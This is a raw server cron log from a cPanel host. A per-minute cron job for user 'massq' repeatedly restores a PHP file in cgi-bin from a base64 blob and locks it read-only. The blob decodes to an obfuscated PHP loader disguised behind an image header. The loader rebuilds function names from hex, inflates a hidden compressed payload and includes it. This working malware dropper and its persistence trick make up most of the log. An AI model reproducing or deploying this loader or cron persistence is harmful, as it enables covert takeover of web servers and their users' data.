Sep  2 15:44:01 server CROND[24993]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 15:44:01 server CROND[24994]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 15:45:01 server CROND[25435]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  2 15:45:01 server CROND[25436]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  2 15:45:01 server CROND[25439]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 15:45:01 server CROND[25440]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 15:45:01 server CROND[25443]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  2 15:45:01 server CROND[25442]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 15:45:01 server CROND[25441]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  2 15:46:01 server CROND[26262]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 15:46:01 server CROND[26263]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 15:46:01 server CROND[26264]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 15:47:01 server CROND[26749]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 15:47:01 server CROND[26750]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 15:47:01 server CROND[26748]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 15:48:02 server CROND[27127]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 15:48:02 server CROND[27126]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 15:48:02 server CROND[27128]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 15:49:01 server CROND[27500]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 15:49:01 server CROND[27501]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 15:49:01 server CROND[27502]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 15:50:01 server CROND[27888]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  2 15:50:01 server CROND[27889]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  2 15:50:01 server CROND[27890]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 15:50:01 server CROND[27891]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  2 15:50:01 server CROND[27894]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  2 15:50:01 server CROND[27898]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  2 15:50:01 server CROND[27895]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 15:50:01 server CROND[27899]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 15:50:01 server CROND[27893]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  2 15:51:01 server CROND[28753]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 15:51:01 server CROND[28754]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 15:51:01 server CROND[28755]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 15:52:01 server CROND[29276]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 15:52:01 server CROND[29277]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 15:52:01 server CROND[29275]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 15:53:01 server CROND[29661]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 15:53:01 server CROND[29662]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 15:53:01 server CROND[29660]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 15:54:01 server CROND[30024]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 15:54:01 server CROND[30023]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 15:54:01 server CROND[30025]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 15:55:01 server CROND[30413]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 15:55:01 server CROND[30415]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  2 15:55:01 server CROND[30419]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  2 15:55:01 server CROND[30417]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 15:55:01 server CROND[30416]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  2 15:55:01 server CROND[30418]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 15:55:01 server CROND[30420]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
